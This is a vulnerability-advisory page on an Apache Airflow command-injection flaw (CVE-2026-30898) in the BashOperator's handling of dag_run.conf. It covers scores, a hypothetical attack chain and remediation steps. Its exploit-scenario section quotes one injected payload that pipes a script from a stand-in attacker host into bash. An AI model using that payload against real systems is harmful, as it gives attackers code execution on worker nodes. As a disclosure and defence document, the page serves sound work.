Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessAuthenticate to Airflow UI
-
DeliveryIdentify DAG using unsafe dag_run.conf in BashOperator
-
ExploitTrigger DAG with shell metacharacters in conf
-
ExecutionWorker executes injected commands
-
PersistEstablish persistence on worker node
-
ImpactPivot to orchestrated systems
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Command injection prevention
MITRE ATT&CK
1 technique across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires authenticated access to Apache Airflow's web UI with privileges to trigger DAG runs (PR:L indicates low-privilege authenticated user). Critically, the target Airflow deployment must contain at least one DAG implementing the specific vulnerable pattern documented in prior Airflow examples - specifically, DAGs using BashOperator with unsanitized dag_run.conf parameters passed directly into bash_command templates. Not all Airflow installations are vulnerable by default; only those where developers adopted the flawed documentation guidance. Attack complexity is low (AC:L) once a vulnerable DAG pattern exists, as standard DAG triggering through the UI with crafted conf parameters achieves exploitation. No user interaction beyond attacker's own authenticated actions is required (UI:N). Limiting factors: requires reconnaissance to identify vulnerable DAG implementations through code review or trial-and-error testing; default Airflow example DAGs may not exhibit vulnerability; organizations with secure coding practices or input validation frameworks may not be affected despite running vulnerable Airflow versions. |
| Impact | CVSS 8.8 (High) reflects the severe technical impact: network-accessible (AV:N), low attack complexity (AC:L), requires only low-privilege authentication (PR:L), and achieves full confidentiality, integrity, and availability compromise (C:H/I:H/A:H) on worker nodes. However, real-world risk assessment reveals nuanced deployment considerations. The EPSS score of 0.03% (7th percentile) indicates minimal observed exploitation in the wild, likely because the vulnerability requires organizations to have adopted the specific flawed documentation pattern in their custom DAG implementations - not all Airflow deployments are vulnerable by default. The attack is not automatable against arbitrary Airflow instances without reconnaissance to identify vulnerable DAG patterns. SSVC decision factors: Exploitation status is POC-level (vendor fix demonstrates exploitability), automatable assessment is NO (requires deployment-specific DAG patterns), technical impact is total (arbitrary code execution). Priority depends critically on whether your organization's DAGs implement the documented anti-pattern - this is an audit-driven remediation rather than emergency patching scenario. Organizations should conduct DAG code reviews before assuming vulnerability, but exposed instances face genuine privilege escalation risk from authenticated users. |
| Exploit ScenarioDerived | An authenticated Airflow UI user with low privileges triggers a DAG run containing a vulnerable BashOperator implementation. The attacker crafts a malicious dag_run.conf payload like {'user_input': '; curl attacker.com/shell.sh | bash #'} which the flawed DAG template inserts unsanitized into a bash command. Upon task execution, the Airflow worker interprets the injected shell metacharacters, downloads and executes the attacker's script with worker process privileges, granting persistent code execution on the orchestration infrastructure. Publicly available exploit code exists via the vendor's GitHub PR demonstrating the injection vector. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv2 – Apr 21, 2026
Command injection in Apache Airflow's BashOperator documentation example allows authenticated attackers to escalate privileges from UI user to worker-level code execution. Affects all Airflow versions before 3.2.0. The vulnerability stems from documentation suggesting unsafe handling of dag_run.conf parameters, which organizations may have replicated in production DAGs. EPSS score of 0.03% indicates low observed exploitation probability, though the upstream fix (PR #64129) demonstrates vendor acknowledgment and remediation.
Earlier versions of this analysis (1)
Command injection in Apache Airflow <3.2.0 allows authenticated low-privileged UI users to escalate privileges and execute arbitrary code on worker nodes by exploiting insecure BashOperator patterns documented in official examples. The vulnerability stems from unsanitized dag_run.conf parameters being passed directly to shell execution contexts. Despite high CVSS 8.8, EPSS score is low (0.03%, 7th percentile), indicating limited observed exploitation attempts. Vendor-released patch available via PR #64129.
RemediationAI
Upgrade to Apache Airflow 3.2.0 or later, which includes corrected documentation and secure BashOperator examples per GitHub PR #64129 (https://github.com/apache/airflow/pull/64129). Review official security advisory at https://lists.apache.org/thread/26zmhfj1t95c1hld2r14ho81nzh1bdc8 for vendor guidance. CRITICAL INTERIM STEP: Audit all custom DAG implementations for unsafe dag_run.conf parameter handling in BashOperator commands. Search DAG code for patterns like BashOperator(bash_command=f'command {dag_run.conf}') or similar templating that concatenates user-controlled conf values into shell commands without validation. Compensating controls prior to upgrade: implement input validation/sanitization for all dag_run.conf parameters before use in BashOperator contexts using allowlists for permitted characters (reject shell metacharacters: semicolons, pipes, backticks, dollar signs, ampersands); alternatively, refactor vulnerable DAGs to use PythonOperator with subprocess.run() and shell=False, which prevents shell injection by avoiding shell interpretation entirely (trade-off: requires code refactoring versus quick validation fixes). Restrict DAG authoring permissions to prevent introduction of new vulnerable patterns during remediation period (trade-off: may impact development velocity). These mitigations reduce attack surface but code review and upgrading remain definitive solutions.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Apache Airflow is a platform for programmatically authoring, scheduling, and monitoring workflows as directed acyclic graphs (DAGs). The BashOperator component executes bash commands as part of workflow tasks. The vulnerability (CWE-77: Improper Neutralization of Special Elements used in a Command) arose from documentation demonstrating unsafe templating of dag_run.conf user inputs directly into BashOperator commands without sanitization. When dag_run.conf parameters - which authenticated UI users can control through the Airflow interface - are passed to bash execution contexts, attackers can inject shell metacharacters to execute arbitrary commands with the privileges of the Airflow worker process. This represents a privilege escalation from UI-level authenticated access to worker-level code execution, potentially compromising the entire workflow orchestration environment.
Know when Apache Airflow gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Primary rating from Vendor (apache) · only source for this CVE.
CVSS VectorVendor: apache
Lifecycle Timeline
4DescriptionCVE.org
An example of BashOperator in Airflow documentation suggested a way of passing dag_run.conf in the way that could cause unsanitized user input to be used to escalate privileges of UI user to allow execute code on worker. Users should review if any of their own DAGs have adopted this incorrect advice.
Executive ViewAI
CVE-2026-30898 is a command injection vulnerability in Apache Airflow's BashOperator that allows authenticated users to escalate privileges from UI access to worker-level code execution. Organizations using Airflow versions before 3.2.0 with production DAGs based on vulnerable documentation examples face direct risk of unauthorized workflow manipulation and data access. This requires immediate remediation as the attack surface is likely widespread across Airflow deployments that copied the flawed documentation pattern.
Vendor-released patch: Apache Airflow 3.2.0. Until patching is complete: (1) Restrict Airflow UI user access to trusted personnel only, (2) disable or remove BashOperator from all non-critical DAGs, (3) implement strict input validation and sanitization for all dag_run.conf parameters before use in shell commands, (4) enforce worker process execution under dedicated non-privileged service accounts, (5) monitor worker logs for unexpected command execution patterns.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
More in Apache Airflow
View allRemote code execution in Apache Airflow before 3.3.0 lets a DAG author embed a malicious trigger whose attacker-controll
Arbitrary code execution on every CeleryExecutor worker is possible for anyone who can write messages to the deployment'
Insecure deserialization in Apache Airflow's Task Execution API XCom path allows a Dag author to store an XCom value tha
Unsafe deserialization in Apache Airflow 3.3.0's Task SDK allows an authenticated DAG author to cause arbitrary module i
Deserialization of task-written XCom values inside the Apache Airflow scheduler allows a Dag author to execute code in a
Unsafe deserialization in Apache Airflow 3.0.0 through 3.3.0 allows any DAG author to achieve arbitrary code execution i
Remote code execution in Apache Airflow 3.1.x allows authenticated DAG Authors to execute arbitrary code in the webserve
Apache Airflow 3.2.0 through 3.3.x accepts Dag run `conf` payloads containing reserved serde keys such as `__classname__
Unsafe XCom templating in Apache Airflow's documented example DAG (`example_xcom.py`) allowed an authenticated UI user w
CVE-2026-30911 is a security vulnerability (CVSS 8.1) that allows any authenticated task instance. High severity vulnera
Apache Airflow's logout handler reports success even when server-side token revocation fails, so a stolen or copied Airf
Authorization bypass in Apache Airflow's Backfill API (all versions prior to 3.3.1) allows any authenticated user holdin
EUVD-2026-23660
GHSA-6337-2587-f2jq
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB